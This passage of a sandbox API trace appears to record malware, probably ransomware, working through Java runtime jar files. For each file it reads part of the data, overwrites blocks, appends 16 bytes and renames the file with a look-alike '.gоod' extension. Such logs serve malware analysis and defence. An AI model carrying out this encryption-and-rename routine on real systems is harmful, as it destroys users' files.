Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), fInfoLevelId=0x0, lpFileInformation=0x33622a8 | out: lpFileInformation=0x33622a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816)) returned 1 [0105.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0105.246] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x0) returned 0x37 [0105.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.246] GetFileType (hFile=0x768) returned 0x1 [0105.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.246] GetFileType (hFile=0x768) returned 0x1 [0105.246] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0105.246] ReadFile (in: hFile=0x768, lpBuffer=0x3362680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x3362680*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0105.248] CloseHandle (hObject=0x768) returned 1 [0105.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x0) returned 0x37 [0105.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.248] GetFileType (hFile=0x768) returned 0x1 [0105.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.248] GetFileType (hFile=0x768) returned 0x1 [0105.248] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x3ae816 [0105.249] WriteFile (in: hFile=0x768, lpBuffer=0x3363990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x3363990*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0105.250] CloseHandle (hObject=0x768) returned 1 [0105.250] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x0) returned 0x37 [0105.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.250] GetFileType (hFile=0x768) returned 0x1 [0105.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.250] GetFileType (hFile=0x768) returned 0x1 [0105.250] ReadFile (in: hFile=0x768, lpBuffer=0x3365c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x3365c30*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0105.659] CloseHandle (hObject=0x768) returned 1 [0105.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x0) returned 0x37 [0105.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.659] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.659] GetFileType (hFile=0x768) returned 0x1 [0105.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.659] GetFileType (hFile=0x768) returned 0x1 [0105.659] WriteFile (in: hFile=0x768, lpBuffer=0x33649a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x33649a8*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0105.659] CloseHandle (hObject=0x768) returned 1 [0105.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x0) returned 0x37 [0105.660] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.gоod", lpFilePart=0x0) returned 0x3c [0105.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0105.660] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b312b79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3ae826)) returned 1 [0105.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0105.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.gоod")) returned 1 [0105.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x0) returned 0x34 [0105.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0105.661] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), fInfoLevelId=0x0, lpFileInformation=0x3799808 | out: lpFileInformation=0x3799808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x205e)) returned 1 [0105.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0105.661] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x0) returned 0x34 [0105.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.661] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.661] GetFileType (hFile=0x768) returned 0x1 [0105.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.661] GetFileType (hFile=0x768) returned 0x1 [0105.661] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0105.662] ReadFile (in: hFile=0x768, lpBuffer=0x3799bd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x3799bd0*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0105.663] CloseHandle (hObject=0x768) returned 1 [0105.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x0) returned 0x34 [0105.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.664] GetFileType (hFile=0x768) returned 0x1 [0105.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.664] GetFileType (hFile=0x768) returned 0x1 [0105.664] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x205e [0105.664] WriteFile (in: hFile=0x768, lpBuffer=0x379ae40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x379ae40*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0105.664] CloseHandle (hObject=0x768) returned 1 [0105.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x0) returned 0x34 [0105.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0105.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0105.665] GetFileType (hFile=0x768) returned 0x1 [0105.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0105.665] GetFileType (hFile=0x768) returned 0x1 [0105.665] ReadFile (in: hFile=0x768, lpBuffer=0x379d0d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x379d0d8*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0106.114] CloseHandle (hObject=0x768) returned 1 [0106.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x0) returned 0x34 [0106.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0106.115] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0106.115] GetFileType (hFile=0x768) returned 0x1 [0106.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0106.115] GetFileType (hFile=0x768) returned 0x1 [0106.115] WriteFile (in: hFile=0x768, lpBuffer=0x337a900*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x337a900*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0106.115] CloseHandle (hObject=0x768) returned 1 [0106.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar", lpFilePart=0x0) returned 0x34 [0106.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.gоod", lpFilePart=0x0) returned 0x39 [0106.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0106.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b765039, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x206e)) returned 1 [0106.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0106.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.gоod")) returned 1 [0106.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x0) returned 0x36 [0106.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0106.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), fInfoLevelId=0x0, lpFileInformation=0x33da558 | out: lpFileInformation=0x33da558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xade4)) returned 1 [0107.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0107.405] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x0) returned 0x36 [0107.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0107.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.481] GetFileType (hFile=0x7dc) returned 0x1 [0107.481] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0107.482] GetFileType (hFile=0x7dc) returned 0x1 [0107.482] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0107.482] ReadFile (in: hFile=0x7dc, lpBuffer=0x34a49a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x34a49a0*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0107.483] CloseHandle (hObject=0x7dc) returned 1 [0107.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x0) returned 0x36 [0107.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0107.483] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.483] GetFileType (hFile=0x7dc) returned 0x1 [0107.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0107.483] GetFileType (hFile=0x7dc) returned 0x1 [0107.483] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0xade4 [0107.483] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a5c10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x34a5c10*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0107.484] CloseHandle (hObject=0x7dc) returned 1 [0107.484] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x0) returned 0x36 [0107.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0107.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.484] GetFileType (hFile=0x7dc) returned 0x1 [0107.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0107.485] GetFileType (hFile=0x7dc) returned 0x1 [0107.485] ReadFile (in: hFile=0x7dc, lpBuffer=0x34a7ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x34a7ea8*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0107.516] CloseHandle (hObject=0x7dc) returned 1 [0107.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x0) returned 0x36 [0107.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0107.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0107.516] GetFileType (hFile=0x7dc) returned 0x1 [0107.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0107.516] GetFileType (hFile=0x7dc) returned 0x1 [0107.516] WriteFile (in: hFile=0x7dc, lpBuffer=0x34a6c28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x34a6c28*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0107.516] CloseHandle (hObject=0x7dc) returned 1 [0107.516] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar", lpFilePart=0x0) returned 0x36 [0107.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.gоod", lpFilePart=0x0) returned 0x3b [0107.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0107.517] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c4cf806, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xadf4)) returned 1 [0107.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0107.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.gоod")) returned 1 [0107.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x0) returned 0x34 [0107.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0107.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), fInfoLevelId=0x0, lpFileInformation=0x3524388 | out: lpFileInformation=0x3524388*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bb82c9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8bb82c9, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1166a99)) returned 1 [0107.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0107.518] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar", lpFilePart=0x0) returned 0x34 [0107.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0107.518] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 